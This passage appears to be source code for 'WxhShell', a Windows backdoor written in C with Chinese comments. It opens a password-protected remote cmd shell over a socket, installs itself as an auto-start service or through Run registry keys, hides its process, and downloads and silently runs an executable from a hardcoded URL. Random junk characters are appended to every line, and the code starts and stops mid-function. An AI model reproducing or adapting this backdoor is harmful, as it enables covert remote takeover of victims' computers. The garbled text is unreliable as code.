    if(Boot(SHUTDOWN)) Zu2m%=J`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9IS1.3  
    else { l _kg3e4  
    closesocket(wsh); u4b3bH9U  
    ExitThread(0); LY@1@O2@  
    } 9TYw@o5V  
    break; &A ;3; R  
    } P?Gd}mdX?m  
  // 获取shell `^X RrVX<  
  case 's': { x'E'jh%  
    CmdShell(wsh); [?|l X$<  
    closesocket(wsh); lKh2LY=j  
    ExitThread(0); Q%,o8E2~  
    break; nZ2mEt  
  } fWtb mUq  
  // 退出 A&NC0K}G!  
  case 'x': { D\45l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ifJv~asp   
    CloseIt(wsh); J)7,&Gc6  
    break; p=8M0k  
    } _Ewy^;S%L  
  // 离开 xh+AZ3  
  case 'q': { "K}W^J9v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @1pW!AdN  
    closesocket(wsh); ugIm:bg&  
    WSACleanup(); 38x[Ad4%  
    exit(1); ^D ]7pe  
    break; 9[t]]  
        } ({d,oU$>y  
  } d vg;  
  } x*loACee.  
GsP@ B'  
  // 提示信息 OBKC$e6I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vxbH^b  
} }<5\O*kX4  
  } b:}wR*Adc  
bik] JIM  
  return; dU sJv  
} /?.r!Cp  
JqVBT+:  
// shell模块句柄 _H^^2#wc/  
int CmdShell(SOCKET sock) HobGl0<y  
{ N[+o[%A  
STARTUPINFO si; A:8FJ3'  
ZeroMemory(&si,sizeof(si)); d+YVyw.z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7(A G]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mR" 2  
PROCESS_INFORMATION ProcessInfo; Mv7w5vTl  
char cmdline[]="cmd"; FT3,k&i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 75hFyh;u  
  return 0; PK.h E{R  
} {|Mxvp*Hg  
xoz*UA.  
// 自身启动模式 |*]X\UE  
int StartFromService(void) zCj*:n  
{ =#POMK".6  
typedef struct ((RpT0rP\  
{ #whO2Mv  
  DWORD ExitStatus; fJF8/IQ4  
  DWORD PebBaseAddress; V\k5h  
  DWORD AffinityMask; 7)8rc(58  
  DWORD BasePriority; np'M4^E;  
  ULONG UniqueProcessId; w{YtTZp3  
  ULONG InheritedFromUniqueProcessId; ;H m-,W  
}   PROCESS_BASIC_INFORMATION; &geOFe}R  
5H'b4Cyi`  
PROCNTQSIP NtQueryInformationProcess; (04j4teE  
6S! lD=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m5'__<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2kp|zX(  
:uT fhr  
  HANDLE             hProcess; %4r!7X|O<  
  PROCESS_BASIC_INFORMATION pbi; =XRgT1>e  
.^9/ 0.g8t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XDrlJvrPL  
  if(NULL == hInst ) return 0; )'K!)?&d  
d 40'3]/{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B Z\EqB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |$.sB|_ N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZaNyNxbp>z  
5Re`D|8  
  if (!NtQueryInformationProcess) return 0; R uFu,H-  
v:J.d5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eBYaq!t k  
  if(!hProcess) return 0; ^)C$8:@  
9sO{1rF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pxCGE[@`  
{*ko=77$*  
  CloseHandle(hProcess); wEo-a< (  
]mO+<{{4X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  jKb=Zkd  
if(hProcess==NULL) return 0; d9[6kQ]  
0()9vTY+  
HMODULE hMod; Ro3I/NI>  
char procName[255]; VvM U)  
unsigned long cbNeeded; Tl/Dq(8JH  
^Lg{2hjj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P :7l#/x_  
!Lg}q!*%>V  
  CloseHandle(hProcess); w=P <4 bdT  
{6=H/g=:i  
if(strstr(procName,"services")) return 1; // 以服务启动 Me K\eZ\  
y?R <g^A  
  return 0; // 注册表启动 .U(SkZ`6  
} -fSKJo#}|  
i/ O,`2  
// 主模块 P`IMvOs&  
int StartWxhshell(LPSTR lpCmdLine) ++p& x{  
{ j9L+.UVI,  
  SOCKET wsl; v;F+fOo  
BOOL val=TRUE; T h- vG  
  int port=0; rY_C3;B  
  struct sockaddr_in door; -JyODW#j  
bbPd&7  
  if(wscfg.ws_autoins) Install(); i_ODgc`H  
1 Z$99  
port=atoi(lpCmdLine); =|{,5="  
q2j}64o _S  
if(port<=0) port=wscfg.ws_port; B'BbTI,  
}&C!^v o  
  WSADATA data; fY\tvo%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4K?H-Jco  
{If2[4!z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7N~qg 7&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {</$ObK  
  door.sin_family = AF_INET; )S;Xy`vO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `w+9j-  
  door.sin_port = htons(port); 3sg)]3jm2  
_I70qz8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?BWvF]p5/  
closesocket(wsl); _^2[(<Gmv  
return 1; $85o%siS'  
} 3xCA\*  
C;:1CK  
  if(listen(wsl,2) == INVALID_SOCKET) { 2S10j%EeI  
closesocket(wsl); :PjUl  
return 1; [Ey%uh 6*  
} YDzF( ']o:  
  Wxhshell(wsl); sp |y/r#  
  WSACleanup();  ?Ge*~d  
m+gG &`&u  
return 0; %Pvb>U(Xs  
!\k#{ 1[!  
} y88}f&z#5  
I\4`90uBN  
// 以NT服务方式启动 :c/=fWM%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hjp?/i%TQ  
{ y@8399;l  
DWORD   status = 0; FLnAN;  
  DWORD   specificError = 0xfffffff; wM&x8 <  
fvBC9^3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zl8\jP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I(kIHjV|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ) ImIPSL  
  serviceStatus.dwWin32ExitCode     = 0; q2U"k  
  serviceStatus.dwServiceSpecificExitCode = 0; R\Ynn^w  
  serviceStatus.dwCheckPoint       = 0; ?yM/j7Xn  
  serviceStatus.dwWaitHint       = 0; 2'^OtM,  
N4]6LA6x6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [N$_@[  
  if (hServiceStatusHandle==0) return; ;51!a C  
#&8pp8wd,}  
status = GetLastError(); ,HO/Q6;N  
  if (status!=NO_ERROR) 0v)mgrl=,  
{ {8p?we3l1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PH4bM  
    serviceStatus.dwCheckPoint       = 0; Qs[EA_  
    serviceStatus.dwWaitHint       = 0; om39;nk!}  
    serviceStatus.dwWin32ExitCode     = status; N*oJ$:#  
    serviceStatus.dwServiceSpecificExitCode = specificError; p YvF}8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y&Vbf>Hi+  
    return; mE@o27  
  } /g- X=|?F  
GDQg:MgX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3\l9Sf=M|  
  serviceStatus.dwCheckPoint       = 0; ]~ 8N  
  serviceStatus.dwWaitHint       = 0; <.B > LU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mt]YY<l  
} wU3ica&[   
kX .1#%Ex  
// 处理NT服务事件,比如:启动、停止 b6$A@b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9oN'.H^  
{ )PNH| h  
switch(fdwControl) TV>R(D3T/  
{ 8;BwzRtgT  
case SERVICE_CONTROL_STOP: `TR9GWU+B  
  serviceStatus.dwWin32ExitCode = 0; "uER a(i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w]YyU5rhS  
  serviceStatus.dwCheckPoint   = 0; ej53O/hP  
  serviceStatus.dwWaitHint     = 0; .0;k|&eBD  
  { 0YRYCO$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _q4dgi z  
  } CbaAnm1  
  return; QMpA~x_m  
case SERVICE_CONTROL_PAUSE: (eIxU&o'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y0C<b*!"ST  
  break; N<r0I-  
case SERVICE_CONTROL_CONTINUE: X10TZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ['`'&+x&!  
  break; ;Wm)e~`,  
case SERVICE_CONTROL_INTERROGATE: ,r,;2,;6nd  
  break; ;j\$[4W.i  
}; t"Rf67  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mpJ_VS`  
} ?Lb7~XKt\  
Ps5wQaS  
// 标准应用程序主函数 a9JJuSRC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vk=<,<BB  
{ Vx8.FNJh  
m`0{j1K  
// 获取操作系统版本 XzFqQ- H  
OsIsNt=GetOsVer(); @?AE75E{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *jSc&{s~  
s/|'1E\F  
  // 从命令行安装 dOgM9P  
  if(strpbrk(lpCmdLine,"iI")) Install(); s"!}=k X  
(:k`wh&  
  // 下载执行文件 ]-OkW.8d1  
if(wscfg.ws_downexe) { =U|SK"oO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FOyfk$  
  WinExec(wscfg.ws_filenam,SW_HIDE); BrmFwXLP"  
}  xyCcd=  
l zkn B  
if(!OsIsNt) { Ybiz]1d  
// 如果时win9x,隐藏进程并且设置为注册表启动 lFt{:HfX-  
HideProc(); l_IX+4(@b|  
StartWxhshell(lpCmdLine); >(J!8*7  
} WoR**J?}w  
else p tfADG  
  if(StartFromService()) itMc!bUQ  
  // 以服务方式启动 Z'M@DY/fdK  
  StartServiceCtrlDispatcher(DispatchTable); 2Ps `!Y5  
else tELnq#<6  
  // 普通方式启动 56aJE .?<  
  StartWxhshell(lpCmdLine); ".Z+bi2l  
:dc J6  
return 0; u3!!_~6,z  
} z1A-EeT  
!.N=Y;@lY  
m5g: Q  
oK[,xqyA  
=========================================== 780MSFV8  
^?`,f>`M  
hzVO.Q*  
} /FM#Xh  
%?wE/LU>  
EU~'n-  
" 2Rt ZTn  
@3D%i#2o&[  
#include <stdio.h> ,urkd~  
#include <string.h> :Dm@3S$4<  
#include <windows.h> 5mBk[{  
#include <winsock2.h> CBHWMetJ*  
#include <winsvc.h> cne[-E  
#include <urlmon.h> sTYl' Ieg  
1 .k}gl0<  
#pragma comment (lib, "Ws2_32.lib") ~kFRy{z  
#pragma comment (lib, "urlmon.lib") _~<TAFBr  
uf3 gVS_h=  
#define MAX_USER   100 // 最大客户端连接数 Stx-(Kfn4  
#define BUF_SOCK   200 // sock buffer .6(i5K  
#define KEY_BUFF   255 // 输入 buffer Onyq'  
#r}c<?>Vw  
#define REBOOT     0   // 重启 (P_+m#  
#define SHUTDOWN   1   // 关机 Jrl xa3 [  
}k~0R-m  
#define DEF_PORT   5000 // 监听端口 SjU6+|l  
Etk<`GRfA  
#define REG_LEN     16   // 注册表键长度 pswppC6f  
#define SVC_LEN     80   // NT服务名长度 $nN$"  
pc>R|~J{2  
// 从dll定义API ;^]F~x}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SS-   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }DwXs`M7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ymqhI\>y#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s#sX r  
)E|Bb=%  
// wxhshell配置信息 >X,6  
struct WSCFG { :eO0{JN4T  
  int ws_port;         // 监听端口 nQC[[G*x  
  char ws_passstr[REG_LEN]; // 口令 o!d0  
  int ws_autoins;       // 安装标记, 1=yes 0=no {[dqXG$v `  
  char ws_regname[REG_LEN]; // 注册表键名 o)DKP>IM#  
  char ws_svcname[REG_LEN]; // 服务名 fA5# 2P{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %vzpp\t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]|(?i ,p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RUO6Co-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y3GIR f;>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Zx>)V6.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  7dIDKx  
W3kilhZ  
}; =#Jb9=zdR  
,kI1"@Tu  
// default Wxhshell configuration m-]"I8 [  
struct WSCFG wscfg={DEF_PORT, iBt5aUt  
    "xuhuanlingzhe", Z m>69gl  
    1, a!.8^:B&  
    "Wxhshell", F.9|$g*ip  
    "Wxhshell", *QJ/DC$  
            "WxhShell Service", <z PyID`  
    "Wrsky Windows CmdShell Service", qKXn=J/0tA  
    "Please Input Your Password: ", s,= ^V/c  
  1, v%w]Q B  
  "http://www.wrsky.com/wxhshell.exe", fk_i~K  
  "Wxhshell.exe" _ 9dV 3I  
    }; Adm`s .  
TY}?>t+  
// 消息定义模块 lRq!|.C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7[PXZT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rL/+`H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eX/$[SL[  
char *msg_ws_ext="\n\rExit."; UgJHSl  
char *msg_ws_end="\n\rQuit."; ~Hf,MLMdTf  
char *msg_ws_boot="\n\rReboot..."; 2J5dZYW  
char *msg_ws_poff="\n\rShutdown..."; sh RvwE[  
char *msg_ws_down="\n\rSave to "; r}w 9?s^rB  
>#Y q&@G  
char *msg_ws_err="\n\rErr!"; Bf.RYLsh6  
char *msg_ws_ok="\n\rOK!";  Qy%/+9L  
=v}.sJ V?  
char ExeFile[MAX_PATH]; Lj#6K@u@Z  
int nUser = 0; 'S\H% -  
HANDLE handles[MAX_USER]; 'lF|F+8   
int OsIsNt; EOiKwhrV  
3h>Ji1vV  
SERVICE_STATUS       serviceStatus; /WMLr5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +( d2hSIF  
Phczf  
// 函数声明 wKN9HT  
int Install(void); 1*"Uc!7.%  
int Uninstall(void); {_JLmyaerZ  
int DownloadFile(char *sURL, SOCKET wsh); &+sN= J.x  
int Boot(int flag); &W%TY:Da|  
void HideProc(void); _nt%&f  
int GetOsVer(void); cW2:D$Pe  
int Wxhshell(SOCKET wsl); ,$Mw/fA  
void TalkWithClient(void *cs); d>}%A ]  
int CmdShell(SOCKET sock); 4C$,X!kzF  
int StartFromService(void); c}lgWu~  
int StartWxhshell(LPSTR lpCmdLine); >X]<s^  
>_".  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5VN4A<))  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ??Lxb% 7R  
dK-G%5)r  
// 数据结构和表定义 FWj~bn  
SERVICE_TABLE_ENTRY DispatchTable[] = XN Y(@  
{ * HVO  
{wscfg.ws_svcname, NTServiceMain}, {XAKf_Cg  
{NULL, NULL} H0S7k`.  
}; *w;f\zW  
f55Ev<oOa  
// 自我安装 A, os rv  
int Install(void) h(fh |R<  
{ :5(TOF  
  char svExeFile[MAX_PATH]; LLMkv!%D  
  HKEY key;  Y+N87C<  
  strcpy(svExeFile,ExeFile); X$aMf &x  
)c*~Y=f  
// 如果是win9x系统,修改注册表设为自启动 <5.{+!BM  
if(!OsIsNt) { 0-FbV,:;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +RM3EvglDQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mnePm{  
  RegCloseKey(key); $T6<9cB@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >&TktQO_T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); al2v1.Y}  
  RegCloseKey(key); >wn&+%i&  
  return 0; aCanDMcBnq  
    } j EX([J1  
  } /[IK [  
} P_;oSN|>  
else { LZeR .8XM>  
;rFa I^  
// 如果是NT以上系统,安装为系统服务 $KiA~l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E-/]UH3u H  
if (schSCManager!=0) ;RrfE8mGj  
{ # a3Q<%V  
  SC_HANDLE schService = CreateService H/b(dbs  
  ( .C1^QY-wL  
  schSCManager, _tjH=Ff$  
  wscfg.ws_svcname, %w@(V([(c  
  wscfg.ws_svcdisp, 1 >Op)T>{c  
  SERVICE_ALL_ACCESS, qIk6S6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i|<*EXB"  
  SERVICE_AUTO_START, 4bO7rhve  
  SERVICE_ERROR_NORMAL, FvkKM+?F  
  svExeFile, XDn$=`2  
  NULL, YpWu\oP  
  NULL, PU8R 0r2k\  
  NULL, &^}w|J?  
  NULL, '? d[ ip  
  NULL 0-5:"SN'  
  ); $R^"~|m3M  
  if (schService!=0) h1BdASn_  
  { N\p3*#M  
  CloseServiceHandle(schService); Z d%*,\`S  
  CloseServiceHandle(schSCManager); NzEuiI}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }b-?Dm_H  
  strcat(svExeFile,wscfg.ws_svcname); [~J4:yDd=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N9i>81tY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d&fENnt?h  
  RegCloseKey(key); B!5gD   
  return 0; Awj`6GeJ  
    } f_ ::?  
  } r1[0#5kJ;J  
  CloseServiceHandle(schSCManager); 2@ad! h  
} -Oo$\=d  
} 5%Q!R%  
NZl0sX.:  
return 1; h7*m+/O  
} ie_wJ=s  
Gf"/fpeQx  
// 自我卸载 !rXyw`6N  
int Uninstall(void) ThHK1{87X}  
{ ~h1'_0t   
  HKEY key; hWUZn``U$|  
&BQ`4j~.  
if(!OsIsNt) { # wG}T .*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6l50IWj,T  
  RegDeleteValue(key,wscfg.ws_regname); UE(%R1Py  
  RegCloseKey(key); ;}r#08I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ly^r8I  
  RegDeleteValue(key,wscfg.ws_regname); U#Ud~Q q  
  RegCloseKey(key); GI/g@RV  
  return 0; a.q=  
  } J3K!@m_\  
} En[cg  
} ?gTY! ;$P  
else { \s,ZE6dQ  
nlJxF5/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +4)Kc9S#  
if (schSCManager!=0) L"AZ,|wIk  
{ @k6>&PS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :sJVklK  
  if (schService!=0) Ix}:!L  
  { H1N%uk=kV  
  if(DeleteService(schService)!=0) { 1}'|HAu  
  CloseServiceHandle(schService); / S]<MS  
  CloseServiceHandle(schSCManager); TJ+yBMd*%  
  return 0; ~ZT(@w  
  } O{Wy;7i  
  CloseServiceHandle(schService); 40mgB4I  
  } }O8$?7j(  
  CloseServiceHandle(schSCManager); 2b2/jzO}J  
} \=i>}Sg  
} bz,C%HFA  
iFpJ /L  
return 1; /JJU-A(  
} .%.J Q  
cR _ 8 5  
// 从指定url下载文件 Ub0g{   
int DownloadFile(char *sURL, SOCKET wsh) r6JdF!\d  
{ p"3_u;cN  
  HRESULT hr; :Fu.S1j$  
char seps[]= "/"; QF Vy2 q  
char *token; 6_rS!X  
char *file; &E0P`F,GQA  
char myURL[MAX_PATH]; F^z&s]^~  
char myFILE[MAX_PATH]; Fn1|Wt*  
CB:G4VqOT  
strcpy(myURL,sURL); } U\n:@:2B  
  token=strtok(myURL,seps); C,HKao\  
  while(token!=NULL) B^Fe.ty  
  { z^'3f!:3  
    file=token; f+d[Q1  
  token=strtok(NULL,seps); wak_^8x  
  } ef*Vs  
PS7ta?V QC  
GetCurrentDirectory(MAX_PATH,myFILE); 2M1}`H\  
strcat(myFILE, "\\"); R9xhO!   
strcat(myFILE, file); 3\JEp,5  
  send(wsh,myFILE,strlen(myFILE),0); OXAr..  
send(wsh,"...",3,0); sba+J:#w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AXFQd@#  
  if(hr==S_OK) ?%K7IJ%  
return 0; ^--kcTiR%  
else <#HQU<  
return 1; #2{H!jr  
@A?Ss8p'  
} sbqAjm}  
F5s Pd  
// 系统电源模块 J'4Pp<  
int Boot(int flag) p(vmMWR!  
{ gn,D9d+  
  HANDLE hToken; *ETSx{)8  
  TOKEN_PRIVILEGES tkp; oU"!"t  
:k&R]bc9  
  if(OsIsNt) { oA+/F]XJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J;8M. _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' m^nKG$"  
    tkp.PrivilegeCount = 1; meJ%mY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z'"e|)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CmP_9M?ce  
if(flag==REBOOT) { ,v\^efc:%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [0>I6Jl  
  return 0; eICavp  
} rD_\NgVAs  
else { |[./jg"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [8%R*}  
  return 0; j3=%J5<  
} v0q(k;Ya  
  } >8;EeRvI  
  else { P z< \q;  
if(flag==REBOOT) { L*(Sh2=_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CqFk(Td9-D  
  return 0; +%sMd]$,n  
} ]Y;5U  
else { y\?NB:=%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KATu7)e&~^  
  return 0; K&'Vd@  
} \0fS;Q^{j  
} (ay((|)  
BWF>;*Xro  
return 1; 6N< snBmd  
} T;C0t9Yew  
XP%/*am  
// win9x进程隐藏模块 g>*P}r~;^b  
void HideProc(void) r7FFZNs!  
{ ^!A@:}t>  
O&g$dK!Rad  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CbW>yr  
  if ( hKernel != NULL ) R1?LB"aN  
  { b}HwvS:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p N+1/m,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V:'_m'.-Y  
    FreeLibrary(hKernel); wA< Fw )  
  } }cO}H2m  
A}W}H;8x  
return; UF PSQ  
} 6 ~+/cY-V  
M0K+Vz=  
// 获取操作系统版本 ,V`[;~49  
int GetOsVer(void) ?4sF:Y+\  
{ |5g1D^b]s^  
  OSVERSIONINFO winfo; ^oXLk&d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q[ 5&  
  GetVersionEx(&winfo); Bhf4 /$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $.KD nl^  
  return 1; }ZB :nnG  
  else R4 AKp1Y  
  return 0; u&Cu"-%=M  
} q~6((pWi|  
$E6bu4I  
// 客户端句柄模块 wq>0W 4(  
int Wxhshell(SOCKET wsl) :d} @Z}2sD  
{ LWIPq"  
  SOCKET wsh; kpx2e2C|  
  struct sockaddr_in client; JG*Lc@Q  
  DWORD myID; ;S}_/'  
~@ML>z 7  
  while(nUser<MAX_USER) M D,+>kh  
{ aqoxj[V^3L  
  int nSize=sizeof(client); TKrh3   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -iySU 6  
  if(wsh==INVALID_SOCKET) return 1; $zD}hO9  
tish%Qnpd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B`/p[U5  
if(handles[nUser]==0) BiI`oCX  
  closesocket(wsh); uS&NRf9A  
else }1? 2  
  nUser++; @ZtDjxN &  
  } @DniYt/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y4,LXuQ  
[.LbX`K:  
  return 0; , Vr'F  
} xSL%1>MrN  
D>m!R[!o  
// 关闭 socket G;yh$n<"  
void CloseIt(SOCKET wsh) +Q!  
{ Yxd&hr  
closesocket(wsh); ~-zch=+u  
nUser--; MNV OloA  
ExitThread(0); A i5|N  
} jyFXAs2  
+"F9yb  
// 客户端请求句柄 Bv(c`JE~;  
void TalkWithClient(void *cs) tp?< e  
{ V>:ubl8j0l  
|}2X|4&X  
  SOCKET wsh=(SOCKET)cs; .E&-gXJ4  
  char pwd[SVC_LEN]; ;.|).y1/`  
  char cmd[KEY_BUFF]; FCPi U3  
char chr[1]; 3e7P w`gLl  
int i,j; a534@U4,  
7<7 /NZ<I  
  while (nUser < MAX_USER) { 3+d_5l;m)  
HL34pmc  
if(wscfg.ws_passstr) { cgF?[Z+x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n2(@uT&>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c0Oc-,6J  
  //ZeroMemory(pwd,KEY_BUFF); Qz9*o  
      i=0; ^L +@oS  
  while(i<SVC_LEN) { )ND%MYJSq  
jk-e/C  
  // 设置超时 V Mb r@9  
  fd_set FdRead; x9s1AzM{  
  struct timeval TimeOut; UqEpeLK  
  FD_ZERO(&FdRead); Ed+"F{!eQ  
  FD_SET(wsh,&FdRead); xIb^x=|h  
  TimeOut.tv_sec=8; NvU~?WN  
  TimeOut.tv_usec=0; AV:P/M^B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qkq9oZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j@4AY}[tX  
iw)^; 8q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E0-<-w3'  
  pwd=chr[0]; sfw lv^  
  if(chr[0]==0xd || chr[0]==0xa) { Ihn+_H u  
  pwd=0;  Q  
  break; F,'rW:{HMt  
  } ic]b"ItD  
  i++; /yn%0Wish  
    } .,$<waGD  
1?j[ '~aE  
  // 如果是非法用户,关闭 socket +M/1,&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jt?.g'  
} l6O8:XI  
|A0)-sVZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oR_qAb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cN(Toj'`  
qPI1\!z6  
while(1) { C~:@ETcbil  
&3t[p=  
  ZeroMemory(cmd,KEY_BUFF); J jp)%c#_  
!CO1I-yL  
      // 自动支持客户端 telnet标准   !|@hU/  
  j=0; 01^+HEbm  
  while(j<KEY_BUFF) { ?!Bf# "TY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *(>,\8OVf  
  cmd[j]=chr[0]; *eLKD_D`!C  
  if(chr[0]==0xa || chr[0]==0xd) { f}C$!Lhs  
  cmd[j]=0; ].e4a;pt  
  break; rQ*Fc~^L  
  } 2uln)]  
  j++; UG5AF Z\  
    } k(bDj[0q^  
-)Zp"  
  // 下载文件 o6 l CP&  
  if(strstr(cmd,"http://")) { d[7B,l:RN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PDi]zp9>H  
  if(DownloadFile(cmd,wsh)) *\!>22*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>I&Z8J$M  
  else CNkI9>L=W`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ??u*qO:p  
  } ^_rBEyz@  
  else {  'K7m!y  
WNmG'hlA  
